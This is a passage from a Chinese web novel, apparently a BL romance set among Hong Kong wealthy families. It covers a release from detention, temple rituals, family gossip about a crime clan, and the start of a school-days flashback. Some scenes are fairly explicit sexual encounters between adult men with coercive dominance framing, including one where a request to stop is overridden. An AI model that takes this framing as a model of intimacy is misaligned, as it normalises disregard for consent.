再走了大概三分钟,面前出现三辆车,他一眼认出了自家的库里南。 陈一诺像小炮弹似的从车里飞奔过来,彼此对视时,眼睛是红的。接着迎来一个久违的,扎扎实实的拥抱。 陈一诺头埋在他肩上,声音有些哽咽:“哥!” 陈宗礼被临时拘留的几天里,陈一诺的心情没有一天是正常的。 超越上辈子的“意外”,让他焦虑不安。担心陈宗礼在拘留所出意外,担心证据没法证明他“正当防卫”。 幸好皇天不负有心人,人终于无罪释放,陈一诺心头大石总算落地。 陈宗礼也伸手拍拍他的后背,安抚他。 陈一诺先是中枪,眼睁睁看着陈宗礼进局子,这些破事纠结在一起,心力交瘁。加上人本来就瘦,现在又瘦了几斤。陈宗礼抱着都觉得硌手,全是骨头。 陈宗礼温柔哄道:“哥没事了,我不是好好的?” “倒是你们,怎么来得那么快?!” 陈一诺瓮声:“老太太警局里的熟人,提前跟我们通气了。” 陈宗礼点点头,瞥了眼四周的保镖,道:“我们上车再说。” 听见“上车”,陈一诺像想起什么,他收敛起情绪,跟陈宗礼保持着距离。低声道:“奶奶和二婶在车上等你。” “老太太专门来了?” 陈一诺点头:“嗯,都担心得睡不着了。” 被拘留时,再强大的人也难免有无能为力感,家人、爱人的力量,在这时,有托住人心的奇效。所谓“患难见真情”,这些天,陈宗礼的底气就是他们。 听见这几句,陈宗礼心头一暖,跟车内人打招呼:“奶奶,二婶。我回来了。” 老太太坐在车里,脸色比之前在医院里红润了许多。矍铄的目光上下打量着陈宗礼,心情大好:“出来就行,赶紧上车,我们回家!” 豪门怕遭遇意外,一家人轻易不同坐一辆车。 于是,老太太跟陈宗礼一辆车,陈一诺跟二婶换到另一辆车,加上保镖车,浩浩荡荡开回陈家老宅。 …… 虽说,陈宗礼不像庄嘉轩那样被拘留,在监狱呆几天,但也算“牢狱之灾”。 车开回老宅的前院,就看见兰姨领着陈宗瑜,身后还跟着几个黄袍法师候着。 等他们下车,围着陈宗礼“咿咿呀呀”做了一轮法事,还跨了火盆,才舍得放人进门。 过程中,陈一诺和陈宗瑜拿着手机,看动物似的,在他身后跟拍了一路。两人小声说大声笑,非常聒噪。陈宗礼全程冷着脸,没给他们一点好脸色。 他从没想过,只是一个上午,在外被麦克风怼,回家还要被摄像头怼。 回过神时,“唰——”地被大米撒了一脸。 “……” 不好容易做完法事,吃完饭,陈宗礼总算能回房间,好好洗个澡,休息一下。 陈一诺和陈宗瑜还不消停,兴冲冲地要拍他洗澡。他被闹烦了,直接把他们挡在门外。 两个人不肯罢休,在门关剩一条缝,陈一诺用脚卡着门,哀求道:“哥,就让我们拍一下吗?不拍你洗澡,就拍你走进浴室的反应!” 陈宗礼把他的脚推出去:“你们还想拍我洗澡?” 陈一诺脸红:“你不是不让吗……” 陈宗礼忽然拉开门,在他们没反应过来时,把他们直接退出去,快速关门。所有动作一气呵成。 陈一诺愣了愣,还不死心,拍门提醒:“哥,你待会儿洗澡记得用淋浴!” 陈宗礼一头雾水:“什么??” 陈宗瑜低声道:“你提醒他干嘛?他进去自然就看见了呀……” …… 陈宗礼站在浴室里,抬头看着头顶的顶喷,沉默了数秒。 正方形顶喷上挂着一个半圆形的柚子皮,柚子皮被密密麻麻戳了许多小孔,方便水漏出,隐约间还能看见柚子皮内放了几片葱郁的柚子叶。 兰姨的机智,让他第一次知道,什么叫彻头彻尾的“去晦气”。 他无奈地站在柚子皮下方,任由被柚子过滤的水,洒在自己身上,连同这几天的疲惫清洗干净。 在返程的车上,老太太跟他简单说了贺朝阳那边的情况。 “贺朝阳故意杀人被正式指控,听说贺朗在建盛会议室发了好大的脾气,整个会议室里的东西被砸得粉碎。还威胁律师团队,处理不好这个案件,就把整个律师行换了。” 陈宗礼笑笑:“这种事,发脾气说狠话有什么用?” 老太太也笑:“也实在没办法了。” “贺朝风那边也不乐观,经济犯罪3-5年走不掉。一下子两个儿子都进去了。建盛股价一路下跌。港城的名声不行,贺朗打算到国外投靠董家。” “还打算卖掉一些铁路和港口,筹集资金在A国大搞基建和房地产……” 陈宗礼听见“铁路和港口”,忍不住皱眉:“铁路和港口,能随便卖?” 老太太笑他:“量不大的,位置偏也不是不行。” 百足之虫死而不僵。 当初,贺朗白手起家,一步步走到港城首富的位置。哪怕到了老年,受到重创,依然有东山再起的魄力。 …… 20分钟后,陈宗礼洗漱完毕,穿着浴袍出来。 看见坐在床上的陈一诺,顿了顿问道:“你怎么进来的?”他明明锁了门。 陈一诺盘腿坐着,看着很乖巧:“爬窗!” 他跟陈宗礼住同一层,其中一个窗户跟他的房间连通。 “我趁宗瑜走了,才溜进来的。” 小卷毛戴着黑框眼镜,黑白菱格背心叠穿浅蓝色衬衫,好青涩的男大。 男大嘴巴说个不停:“刚刚在停车场,我都没机会说。多亏你拘留前告诉我,普尔斯是奥斯康家族的成员!反垄断案真的有转机!” 本来李家纯成了植物人,他已经放弃Frank这条路了!没想到,陈宗礼在检查奥斯康家族成员名单的时候,居然挖到那么大的宝藏! “真是众里寻他千百度,蓦然回首他却在灯火阑珊处!” “你知道吗,我把事情跟他说了以后,他立刻抽空三天,带我回家跟他家人见面。” “那个难搞的Frank,还是他的亲叔叔!” “现在,奥莱集团不但撤销对时尚集团的控诉,还打算收购我们的一款叫《星际玩家》的游戏,价格还特别好!” 从“众里寻他千百度”开始,陈宗礼已经听不见他说话了,注意力全在他一张一合的嘴唇上。 他坐在床上,捞起陈一诺的右脚,让面对面跨坐在自己身上。 陈宗礼上身的浴袍敞开,健康的小麦色肌肉轮廓清晰可见,偶尔一两颗水珠顺着脖子往深处流,带着柚子混红茶味的潮气,引人遐想。 他的手摩挲着陈一诺的后颈,凑到他面前,猝不及防地咬走黑框眼镜,咬上他的唇。 连续的啃咬,让陈一诺一时间分不出到底谁是狗。 “你……嗯……” 陈一诺的尾音被陈宗礼粗爆地咬掉,火热的舌在嘴里攻城略地,闷声说着:“诺诺,我在里面特别想你。” 能言善道的陈一诺被“诺诺”两个字,蛊惑着没了思考能力,浑身发软,只能用喘息声回应他。 “哥,我也想你……” 陈宗礼捏着温软的嘴唇,强迫他抬头,眯眼打量着这张让人犯罪的脸:“这种时候叫我哥,知不知道有多危险?” 陈一诺吞了口口水:“不知道……” 陈宗礼掐住他的下巴:“那等会儿别怕!” 男大的毛衣不知何时没的,只有宽大的衬衫混乱地挂着。吻不知何时结束,他跪在床边的长绒地毯上,直面兽化的陈宗礼。 被剥夺语言能力后,他接连被剥夺了行动能力。陈宗礼一条小腿搭在他肩上,陈一诺的上身就被困在方寸间,后脑勺被陈宗礼霸道掌控,非常残忍。 期间,手机铃声不时响起,提醒他们,房间外还有很多工作要处理,很多钱要赚,很多人情要照顾。 陈一诺被噎得喘不过气,哀求道:“哥,让我接电话……” 陈宗礼小腿继续往下压,像对奴隶抽鞭的主人,阴着脸:“不行,继续!” 工作狂此时顾不得生意,顾不得旁人,全神贯注,满心满意只有“折磨”眼前人。 不知过了多久,手机已经没电了,陈一诺也没电似的,无力坐在地毯上,心有余悸地咳嗽几声,目光放空满脸狼狈。 陈宗礼用浴袍给他胡乱擦干净,大手把人捞上床,抱在怀里,手摸上陈一诺胸前刚愈合的伤口,每次触碰心里还会揪着疼。 陈一诺福至心灵,手覆上他的手背,安慰道:“已经没事了。” 陈宗礼不想让他内疚,往伤口附近抓了两把,怀里的人蜷缩着,哼唧了几声,温度瞬间上来了。 陈宗礼的手在被子下动了动,凑到陈一诺耳边,捂住他的嘴,用最蛊惑的声音说道:“换哥帮你,你小点声。” 这一夜,陈一诺跟陈宗礼像休战期偷欢的恋人。 尽彼此最大的能力,让恋人尽情发泄,消解压抑已久的压力。再养精蓄锐投入到无休止的战争中,迎接下一个“贺朝阳”—— 作者有话说:嘘!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 每逢初一、十五去南山寺拜大佛、吃斋,是陈老太冷翠英的习惯。 “邮轮事件”尘埃落定后,陈老太一直心有余悸,择了一个吉日,率领陈家全员出动到南山寺还神。 出发前一晚,陈老太下了死命令,早晨七点,全家必须准时在客厅集合。 其他人倒还好,最为难两位“工作狂”,特别是陈一诺。 他白天忙羽南港,晚上隔着时差谈论《星际玩家》的收购。两个项目之间来回拉扯,忙得焦头烂额。 去南山寺前一晚,跟总部开会到凌晨三点才上床睡觉。 早上六点,他被陈宗礼掀开被子的时候,还在梦里和员工开会。 他吧唧着嘴,喃喃道:“老王,谈判不能毫无底线,对方上来就扒你底裤,你怎么办?唇亡……齿寒……” “那谁,把空调关一下……” 梦外,陈一诺被子被掀开。穿着毛绒绒的草莓熊睡衣,抱着史努比安抚毯,蜷缩着指点江山。 陈宗礼看他,感觉看见了缩进壳里的乌龟,想恶趣味地想把它的腿拽出来。 他这么想,实际上也是这么做的。 健壮的双手握住陈一诺的脚踝,用力往外一拉,陈一诺毫无防备地被扯成一个大写的“人”。 陈一诺被吓醒,嚷道:“你……” 陈宗礼低声笑笑,整个人压到他身上,把两只手也拽到两边放平,床上多了个大写的“大”。 这一通操作下来,陈一诺睁眼看着陈宗礼,刚喊了声:“你干什么呀……” 从不做亏本生意的陈宗礼死死盯着他:“陈一诺先生,你的morningcall服务已完成,请付费。” 陈一诺问他:“怎么付?” 也不管陈一诺愿不愿意,听没听清,陈宗礼追着他的唇亲了上去。陈一诺也不争气,贪恋陈宗礼的吻,也贪恋他的体温,四肢不自觉地缠在陈宗礼身上,宛如一只树懒。 陈一诺软萌听话,予取予求,陈宗礼在一声声“哥”里沦陷着,都是情窦初开的成年男人,稍微一撩就出火了。他的脚顶在陈一诺两腿间,手顺着腰往下摸,就在他准备争分夺秒干些什么…… “砰砰砰——”房门被大力敲响。 老太太:“一诺,醒了没有啊?你哥呢,怎么不在房间?!” 老太太的声音中气十足,传到他们耳朵里,刚撩起来的□□,瞬间偃旗息鼓。 陈宗礼双手撑在陈一诺两侧,浓重的呼吸声传到耳边,全是陈宗礼未消解的欲望。陈一诺惊恐地看着他,嘴唇被亲红了,眼睛里还有雾气,像看见猎人的鹿。 老太太还在拍门,陈宗礼歪头在他耳朵咬了一口,说道:“宝贝,别勾我了。快起来吧。” 说完翻身下床,去应付老太太,留时间给陈一诺收拾。 他打开门,清了清嗓子,喊道:“奶奶!” 老太太被冒出来的陈宗礼吓了一跳,捂着胸口:“哎哟,你小子!吓死我了!” “你怎么不在自己房间?” 陈宗礼解释:“我过来喊一诺起床,他昨晚熬夜……” 趁老太太和陈宗礼在门口寒暄的空档,陈一诺连忙跑去卫生间洗漱,咬着牙刷过来打招呼:“奶奶早啊!” 老太太打量着两兄弟,摆摆手:“赶紧下楼,我们按时出发了啊。” 陈宗礼和陈一诺同时:“好!” 等老太太走远,陈一诺靠在门旁,一脸得救的表情:“我的天,老太太太吓人了。不是说,那什么的时候,万一被吓,容易不/ju么……” 陈宗礼走到他面前,抓住他的手,贴到自己身上,眉毛上扬骄傲道:“反正我好着呢,你就不好说了……” 陈一诺咽了口口水,骂道:“陈宗礼,我怎么就不好了?!” “艹,你害我把牙膏咽掉了!” …… 港城降温没有来由,有时候太用力,下雨又刮风,愣是入冬不成功。 有时候无风无雨,一觉醒来,反而冷成冰窖,让人怀疑人生。 去寺庙这天,就刚好遇上一夜入冬的天气。 昨天,陈一诺还单穿衬衫出门,今天穿的薄毛衣配牛仔裤,结果,刚站在门外,就被寒风吹得怀疑人生。 还好陈宗礼周到,多拿了一件羽绒服,不听他抱怨“黑色羽绒服很丑”,硬是把羽绒服套在他身上。 几辆豪车沿着山路,一路盘旋抵达寺庙门口。灰蒙蒙的天空飘起了小雨,风夹着雨,山上的温度似乎又冷了许多。 陈一诺裹紧羽绒服,兜上帽子,哆哆嗦嗦跟着大家沿着阶梯往上走。 到了佛堂,大家的裤腿和鞋多多少少沾了雨水。 伞被统一放置在门口,雨不大但密集,几步路的功夫,伞上的水流已经汩汩往下滴,把佛堂外的水泥地面晕开一片深色。 拜神的讲究很多,老僧人在前面指引着,兰姨、二婶按着指引摆设贡品、礼佛。 他们三个小的,裹着羽绒服,双手抱肩,在后面安静等着被点名。 陈宗礼先上去拜拜,陈一诺和陈宗瑜在后面站着。 他打量着陈宗瑜,发现她有黑眼圈,忍不住问:“你怎么也没睡好?干嘛去了?” 陈宗瑜嘴角含/春/道:“你们单身狗不懂啦!” 陈一诺愣了一下,顿时反应过来:“哦,你跟庄嘉轩煲电话粥?” 陈宗瑜打了个哈欠:“打到三点。” 陈一诺惊讶道:“我去……我也三点,不过我是开会到凌晨三点……” 陈宗瑜面无表情:“那你很厉害啊,聊工作那么枯燥还能聊到凌晨三点。” 陈一诺不服:“我能赚钱啊!” 陈宗瑜惊讶:“啊?我不聊到三点,也能赚钱啊。我还能让庄嘉轩给我赚……” 陈宗礼拜拜回来换陈宗瑜,看陈一诺表情怪怪地,问:“怎么了?” 陈一诺一脸震惊:“不是说谈恋爱的人智商都被拉低吗?陈宗瑜怎么变聪明了?!” 陈宗礼冷笑:“有没有可能,大家都变低了,只是你更低了呢?” 陈一诺反应一下:“陈宗礼!” 音量没控制好,引得佛堂所有人转头看他,同时发出:“嘘!” 陈一诺闭了嘴,安静看陈宗瑜拜拜。 忽然觉得不妥,问陈宗礼:“怎么你的仪式跟宗瑜的好像不一样。那个红线,怎么你有她没有?男女有别么?” 陈宗礼目光有些闪烁,说道:“那红线,是求姻缘。” 哦……难怪陈宗瑜没有。李思维公开出柜之后,陈宗礼就成“单身”了,老太太才要操心这个。 他有些不开心:“老太太开始给你张罗对象了?” 陈宗礼笑了:“没有,再说我也没空。” 陈一诺半信半疑:“真的?” 陈宗礼垂眸看他,郑重道:“真的。” 陈一诺这才满意了:“有的话,你要告诉我!” 陈宗礼看着炸毛小狗,眨眨眼睛:“知道了。” …… 从佛堂出来,二婶跟老僧说,他们预订了斋饭。老僧便叮嘱小僧领他们去食堂。 路上,适才灰蒙蒙的天忽然放了晴。天空被雨水冲刷后,蓝得分外单纯、干净。 兰姨扶着老太太,指着万里无云的碧空,感叹:“哎呀,老太太,雨过天晴了。” 冷翠英的眼里映着蓝,她悄悄松了口气。 邮轮那晚,陈家五个人三个受伤,还有一个遭受“牢狱之灾”,实在太惊险。 她喃喃道:“希望佛祖愿意继续保佑我们一家人,健康平安。” 本来,因为下雨,他们打算从廊下穿过去。如今天气好转,老太太决定绕远一些,在寺庙花园里散散步。 冬日的南山寺,山茶花开得争奇斗艳,“陈家大姥”被绚烂的山茶花迷得走不动路。看见一朵好看的,就轮流上前合照。 跟小时候的分工一样,陈一诺当摄影师,陈宗瑜做美术指导,陈宗礼本来负责拿道具,可惜这回没有,只能站在一旁,帮大家拿包。 陈一诺:“奶奶,头微微扬起,给我一点高贵优雅的感觉,那个手……宗瑜帮奶奶摆一下。” 陈宗瑜小跑到老太太身边,把她的手指往外旋了20度,宝格丽红宝石钻戒低调出镜。 “OK!美爆了!” 小僧在一旁看着他们拍得不亦乐乎,跟陈宗礼搭话:“陈施主,您不拍吗?” 陈宗礼的目光始终落在陈一诺身上,喃喃:“有时候肉眼看到的,不是比拍下的更美吗?” 小僧缓慢地点头:“有道理。” 寺庙的山茶花开得实在好,几百米的路程,走出一公里的错觉。好不容易,走到食堂附近,居然还有一片山茶花花墙,老太太连忙张罗着拍全家福。 “3、2、1……好了。” 小僧把手机还给二婶,老太太和兰姨立刻凑过来,目光先落到照片里的自己,接着点评点评别人。 老太太:“宗礼,你拍照学学一诺,怎么就不爱笑呢,家庭合照你冷着脸给谁看?” 陈宗礼回答很直接:“奶奶,我不是故意不笑,我是天生不爱笑,我也没办法。” 说不动大的,老太太转头说小的:“陈宗瑜,你用手挡住脸干嘛呀?就只看见手了!” 陈宗瑜皱眉:“你又不是不知道,我没化妆不拍照。” 二婶摆摆手:“就你俩不合群,不行,重拍一张!” 陈宗瑜和陈宗礼立刻默契闪开,用行动表示坚决不配合。 二婶只好把照片发到家族群,埋怨道:“这些孩子就是不喜欢跟大人合照。照片我都发群里了啊,大家自取。” 陈一诺点开家庭群,一上午发了上百张照片。 他还记得,上回在古家拍全家福,是他们专门请摄影师,在古宅大院里拍的。 十几年过去,手机让拍照变得方便,甚至习以为常。 哪怕那么方便,陈一诺跟陈家人拍全家福,还是头一回。 手指越过上百张照片,最后停在那张被二婶埋怨要重拍的全家福上。 陈一诺点开,逐一看着里面的人,按下保存键。 …… 一行人继续往食堂走,忽然遇见秦若霜和李思维。 李家经历剧变后,陈一诺便没再见过她们,忽然在寺庙里遇上,也算是缘分。 秦若霜看起来依然美丽动人,她主动上前握着老太太的手,嘘寒问暖:“好巧啊,你们也来还神?” 老太太毫无隐瞒,直接道:“是,最近发生很多事情,过来求个安心。你父亲怎么样了?” 李思维扯了扯嘴角:“情况稳定吧,我们过来拜拜,还希望集团上的事能顺利些。” 中间接盘,接的还是大盘。这种苦,老太太当年也尝过,深有体会。 老太太看着秦若霜,安抚道:“哪怕我们当不成亲家,但关系还在,宏发有任何问题,别怕麻烦我们,宗瑜和一诺,特别是陈宗礼,都能帮忙,知道吗?” 陈家三个孙辈站在身后,对他们颔首笑笑,表示认同。 陈宗瑜对李思维道:“思维姐,当不成亲家,我们早晚也是亲戚,有事别自己扛着啊!” 二婶睨她一眼,想骂她不要脸。还没嫁呢,已经默认是庄家的人了。 但她不好破坏气氛,只提醒一句:“你差不多得了。” 陈宗礼说话很实际:“宏发很多关系,天峻也认识,有应酬尽管叫上我。” 陈一诺也道:“叫上我也行,那些老油条,老狐狸,我最会收拾了,一口一个准。” 李思维笑道:“那我就不客气了。” “对了,恭喜一诺。分别和莫多里、Frank这对宿敌达成合作的第一人。听说,一星股价好几个涨停了。” 横扫各大财经版,风头一时无两,一星集团的CEO陈一诺,此时正裹着黑羽绒穿个破洞牛仔裤,宛如难民。 他摆摆手:“别夸了,我赚了钱,转头还不是投到羽南港去。拆东墙补西墙的……” 二婶打断他们:“行了,外面那么冷,要聊进包间聊,里面暖和。” …… 二婶订的是食堂的包间,刚好喊上秦若霜母女一起用饭。 包间内有说有笑,李思维跟陈宗礼聊着最近遇到难题:“我爸之前学贺朗,在港城买了城南商业区不少铺位,最近市道不好,我想卖了做资金周转。” “但董事会那些老油条,看好港城房地产,说城南的铺位抓在手里只会升值,不同意卖铺,愁死人了。” 她正在打的仗,刚好是陈宗礼以前也经历过的,陈宗礼垂眸分析:“说服董事会的时候,要切中他们自身的利益。让他们知道,这些铺位抓在手里,根本不赚钱,甚至会亏钱,到时候他们手里的股票就成废纸,他们才有切肤之痛,意识到要壮士断腕。” 陈一诺听了一半,插嘴:“而且,他们判断错了,港城的房地产也会跌……” 说到这儿,陈一诺立刻意识到自己说错话。 因为,港城房地产在过去40年内一直往上涨,“买什么都不如买砖头”,是港城市民的共识。 港城房地产还能再涨100年,是港城房地产商的共识。 但陈一诺上辈子见过港城房地产的下跌,而且是跌跌不休,改造后的羽南港,逆袭成港城最保值的地段之一。 可是,这一切在未发生之前,如此笃定的判断,只会被当成危言耸听。 在陈宗礼和李思维怀疑的目光下,他连忙解释:“我意思是,哪有一直上涨的东西?黄金还有起伏呢。那么大的宏发,得保证现金流才是对的!” 刚好,服务员陆续把热腾腾的斋饭端上桌,陈一诺躲开陈宗礼的眼神。 欢呼道:“斋饭来了!我先吃为敬啊!!” 第92章 南山寺的斋饭全港有名,应季的素甜点更是抢手。 老太太来拜佛是真,想吃甜食也是真。跟秦若霜正聊得起劲,忽然看见小僧端来应季的山茶花饼,注意力就全然不在状态了。 南山寺的厨师师父,把凋谢的山茶花花瓣挑选后做成酱,裹上酥皮,做成山茶花形状的酥饼。 新鲜出炉的饼,酥皮松软,一口咬下有淡淡花香,甜而不腻,非常可口。 桌上的人刚欣赏完山茶花的美,如今又品尝山茶花饼的味道,喋喋称赞。唯独老太太只能看不能吃。 为彻底断了她的念想,兰姨还故意把山茶花饼移到离她最远的地方。 她要想吃一个山茶花饼,就得厚着脸皮,承受来自家人谴责的目光。 说要戒糖食的老太太,承受不起,只好另辟蹊径。 她眼巴巴看着距离山花茶饼最近的陈一诺,问道:“一诺,好吃吗?” “……”陈一诺刚咬下半块饼,被老太太的眼神看得心慌:“好……好吃……” 老太太点头,目光还停在他手里的半块饼:“好吃就多吃!甜食对恢复身体最好了……” 不知哪里得出的结论。 可明明是让他吃,陈一诺却听出老太太的言不由衷,加上那个可怜的眼神,他看着手里的半块饼,又看了看面前那碟山茶花饼,心里纠结,该不该给老太太夹一块…… 身旁的陈宗礼一眼识破老太太的计谋,轻松把剩下的半块饼塞到他嘴里,低声提醒道:“别看她。吃你的。” “老太太最会蛊惑人心了。这么几句就能让你主动给她夹。到时候,我们还不能说她破戒。” 差点上当的陈一诺,感叹:“这老太太,心眼真多……” 陈宗礼笑了:“精着呢。” 陈一诺顽皮,伸筷又夹了一块山茶花饼,直接咬了口,气人道:“奶奶,您说得对,我再吃一块!” 老太太:“……” 计谋被识破,老太太意兴阑珊地垮下脸,对面前的斋饭挑挑拣拣,觉得没滋没味。 秦若霜知道老太太的口味,看她这副模样,非常知趣道:“哎哟,这山茶花饼也做得太精细了。不过我最近在减肥,老太太能跟我分半个山茶花饼么?” 秦若霜是客人,主动发出邀请,而且分量只有半个,陈家人想阻止也说不出口。 老太太立刻满脸笑容:“那我就吃点吧……他们啊,都不让我吃……” 心满意足地吃上饼,老太太这才又开开心心往下聊。 …… “你们听说了吗?董家要出大事了!” 饭桌上少不了八卦,陈宗瑜就是陈家饭桌上的“八卦女王”。 吴淑芬早习惯女儿一惊一乍,她边给老太太倒茶说道:“听说,今年董嘉裕身体一直不太好,进出几次医院了。” 老太太拿纸巾擦干净嘴角的酥皮,喝了口清茶,咂摸道:“我记得董嘉裕年纪比贺朗还大几岁,这人从小心思多,又有那样的上位史,成天疑神疑鬼的。” 四大家族里,陈家历史最悠久,其次就是董家。陈家做的是正经生意,董家则是港城回归前最大的黑/帮/家族,黄/赌/du样样都沾,还跟殖民时期的ZF勾结,黑白通吃,回归前在港城横行无忌。 董嘉裕接手后,凭一己之力把董家生意带到顶峰。并非常有远见地把董家生意在回归前彻底洗白,是四大家族里最具传奇色彩的。 陈一诺半路到港城,对港城豪门的家族史一知半解,问道:“董家明明也是港城四大家族之一,为什么总是神秘兮兮的?董嘉裕到底什么来头?” 八卦女王陈宗瑜立刻举手抢答:“我知道!” “董家裕的父亲董老爷子跟我们爷爷差不多年纪,有四个儿子。董嘉裕是偏房生的排第三。本来,董家生意交给正房的儿子,董大和董二管。” “所以,董家裕就埋头苦读,出国留学回来考了港城公务员。这人看上去不争不抢,实则是韬光养晦。那段时间,董大和董二因为地盘问题,经常内讧,还得罪了不少帮派。对方老大就密谋要报复董老爷子。” 陈一诺明白,那个混乱的年代,说“报复”就等同于要人命了。 “那天,董老爷子开车出门,路上遭遇枪击,有一枪特别致命,结果他孙子替董老爷子挡了。那个小孩,就是董嘉裕大儿子董焱。” 陈一诺喃喃:“哇,这孩子算是救驾有功啊?” 吴淑芬叹气:“那孩子也是可怜。董老爷子死后,我听过一个传言,说董嘉裕以教孩子防身术的名义,把自己小孩从小当保镖培养,还给他灌输:爷爷的命是最重要的,必要时候,要用自己的命保护爷爷。” 听完这句,陈一诺后背忽然发凉:“这算什么教育啊……” 吴淑芬:“所以,董嘉裕跟老婆孩子的关系非常差。” 陈宗瑜继续往下:“话说回来,董焱中枪之后,董老爷子对董嘉裕果然另眼相看。当时,刚好董大和董二为一个新业务抢得头破血流,董老爷子干脆让董嘉裕辞了原来的工作,接手新业务。” “本来,董大董二想看他笑话,觉得文弱书生沾不了这种生意。没想到,董嘉裕就像一条鲶鱼,不但董大和董二气得鸡飞狗跳。还给两兄弟暗中下套。最后,董大被杀,董二被抓,董家成了董嘉裕的天下。” “后来,港城回归的日子临近,董嘉裕担心会被清算,开始慢慢洗白……后来,生意慢慢在A国落地生根。但我听说,他在A国那边表面是做房地产,地下还是在做以前的勾当。要是拼综合实力,贺首富都拼不过他。” “十年前,为了生意,董嘉裕全家搬到A国,港城的物业,就剩他弟弟董嘉华打理。之前邮轮上的那个董城,就是董嘉华的侄子。” 陈宗瑜说了半天,嗓子都干了,赶紧喝了一口茶润嗓子。 李思维点头:“据我所知,现在,董焱带着母亲和两个妹妹,在国内定居。跟董嘉裕几乎没联系。” “董嘉裕这几年生意重心在A国,他疑心重,什么都要管,得力干将都是自己培养起来的。” “董家内部,就剩下弟弟董嘉华在帮忙做事。万一董嘉裕两眼一闭,他亲儿子跟董嘉华就得争一争。” 陈一诺不解:“既然家庭关系不好,他儿子应该不想管家里的生意啊?干脆让给董嘉华不就好了?” 李思维脸上流露难言的神色,刚经历过家族重大变动,最清楚其中的厉害,但又不知道怎么开口。 陈宗礼帮腔道:“主要是董家内部情况太复杂。” “董嘉裕靠什么手段上位的,董家人都知道。有这样的历史,他也担心别人复制他的做法夺权。首当其冲就是董焱。” “董嘉裕虽然不是什么好人。但他在的时候,至少没人敢动他老婆孩子。一旦他走了,他的老婆孩子就未必安全了。” “再说,哪怕他的子女想淡泊名利,也不是那么简单的。董嘉裕一辈子做的都是刀尖舔血的生意,得罪的仇家不少。虽说江湖规矩是祸不及妻儿,但那群人未必讲规矩。” “所以,董焱如果足够聪明,就该主动把董嘉裕的生意接手过来,再见步行步。” 陈一诺听完,整个人大受震撼。豪门继承,意味着巨额财产和权力的转移,这是多少人求之不得事。 可现实中,有的继承人,根本不愿意接手,无奈的是,被刀架在脖子上,进退两难。 莫名的,陈一诺替这位董焱捏一把汗。 看现场的气氛有些压抑,李思维忽然转了话题:“我也是听说的,这个董焱好像在内地开了一个广告公司。” 陈一诺回过神来,问道:“广告公司?” 在豪门圈子里,继承家业是大多数,要是创业,也是奔着上市敲钟去的。 广告公司这种“小作坊”生意,人力成本高,扩张难,极度依靠创意口碑揽生意,在圈内还真的不多见。 李思维点头:“他好像在A国一家4A广告公司还拿过戛纳广告奖,业内大神来着!在国内开广告公司也合理啊。” “真的假的?” 陈一诺立刻打开手机,输入“董焱戛纳广告”,真的弹出来一堆新闻。上面还有董焱的照片。 点开照片,一个浓颜系型男引入眼帘,西装配T恤牛仔裤,他站在广告行业最高领奖台,拿着奖杯,冷酷不羁。 陈一诺点评:“哦……还挺帅!” 陈宗礼坐他身边,听他对董焱的评价,心里有些吃味,反问:“哦,是吗?” 他凑到陈一诺耳旁低声道:“原来你喜欢这种类型的?” 说完,餐桌底下的手非常恶劣地捏了一下他的大腿。 腿是陈一诺的敏/感/点,这是陈宗礼最近摸索发现的。果不其然,陈一诺立刻夹/紧双腿。 虽然他们在包间,但寺庙布置简单,包间的木桌甚至没有桌布,陈宗礼动作太明显! 他抱怨:“快拿开!要被人看见了!” 但他腿并上的时候,陈宗礼的手却没抽离。有种“老鼠丢进米缸”的后知后觉。 果不其然,陈宗礼用力又捏了几下,逼问:“问你呢,是不是喜欢这种类型的?” 陈一诺痛苦地跟陈宗礼解释:“没有没有!我就是觉得他眼熟。” “这个人……我们是不是在哪里见过?” 看陈一诺被他逗得脸都红了,他才抽回手,挑了挑眉:“你居然忘了?” “新年烟花……记得吗?”—— 作者有话说:三把火老师短短露个脸~[眼镜],后面才会出来,先解决一些感情上的问题哈 第93章 高二上学期,12月31日。 一年最后一天,对于正常上课的陈一诺而言,本是平平无奇的一天。 直到他放学回老宅,看见陈宗礼,这天就不再平凡了。 陈宗礼看了他一眼,张嘴就问:“想不想看港城的跨年烟花?” 别说去看跨年烟花,就算只是在家里跨火盆玩,只要陈宗礼在,他都愿意。 他兴奋到甚至忽略陈宗礼问的是“想不想”,而他直接回答:“去!” 陈宗礼上斜眼弯着,凑到他耳边低声道:“今晚带你去,别跟家里人说。” 陈家在港城的影响力实在太大,除了陈一诺刚到港城跑去赛车的那段时间。他们只要出门,必须带保镖,为此,人多密集的地方,更是能不去就不去。 这样的生活,对于陈一诺而言,太不自由。 现在,陈宗礼居然瞒着家里人,不带保镖的情况下,带他出去玩?! 对于中学生陈一诺来说,简直太刺激了! 他压低声音,眼睛亮得发光:“一定不说!哥,我们几点出发?!” 陈宗礼揉揉他的卷发:“晚上我找你。” …… 晚上10点半,老宅里的长辈都入睡了。 陈宗礼领着陈一诺悄悄遛到车库。“太子爷”有专属车库,里面全停着他的爱车。 陈一诺以为陈宗礼会开车去,没想到,他走到车库的角落,“唰”地掀开帷布——露出一辆全黑奥古斯塔。 陈一诺对任何车都非常喜欢,可惜没钱买,看见这辆奥古斯塔得摩托车,眼睛都直了。 直接一句:“卧槽!奥古斯塔!全球限量10台!!!帅炸了!哥,你也会开机车?” 他早知道陈宗礼沉稳的外表下,藏着一颗不羁放纵爱自由的心,但开机车,确实太出人意料。 陈宗礼轻描淡写道:“我们这种豪门少爷,该会的不该会的,多少会点~” 同样是豪门少爷,陈二少举起手:“我也会,能让我开吗?” 陈宗礼把头盔戴在他头上,冷漠道:“不能!” 虽然不能开,但能坐上陈宗礼的摩托后座,陈一诺依然很开心。 “哥,除了我,你后座还有别人坐过吗?”陈一诺戴好头盔问道。 陈宗礼笑笑:“除了你,没人了。” …… 奥古斯塔像一道旋风,从车库里飞驰而出,本打算从后门出去。 结果,在距离后门50米的时候,看见一个女生抱肩站着。打开车灯一看——是守株待兔的陈宗瑜。 看见他们,陈宗瑜立刻气势汹汹地走过来:“好啊,你们去玩不带我!” 陈宗礼掀开头盔解释:“开摩托,只能坐两个人,不方便带你。” 陈宗瑜双手抱肩:“我不管,要去一起去,要不都别想去!” 陈宗瑜这个人有多较真,哥哥们多少了解一二。她说得出,做得到。 为了别耽误跨年,陈宗礼只好给好兄弟庄嘉轩打电话,让他也开一辆摩托捎上陈宗瑜。 于是,双人“跨年活动”,最后茁壮成了四人。 陈宗瑜和庄嘉轩孽缘的种子,就是这时候种下的。 …… 港城正值深冬时节,晚上的温度大概10度以下,风吹起来还是有点冷。 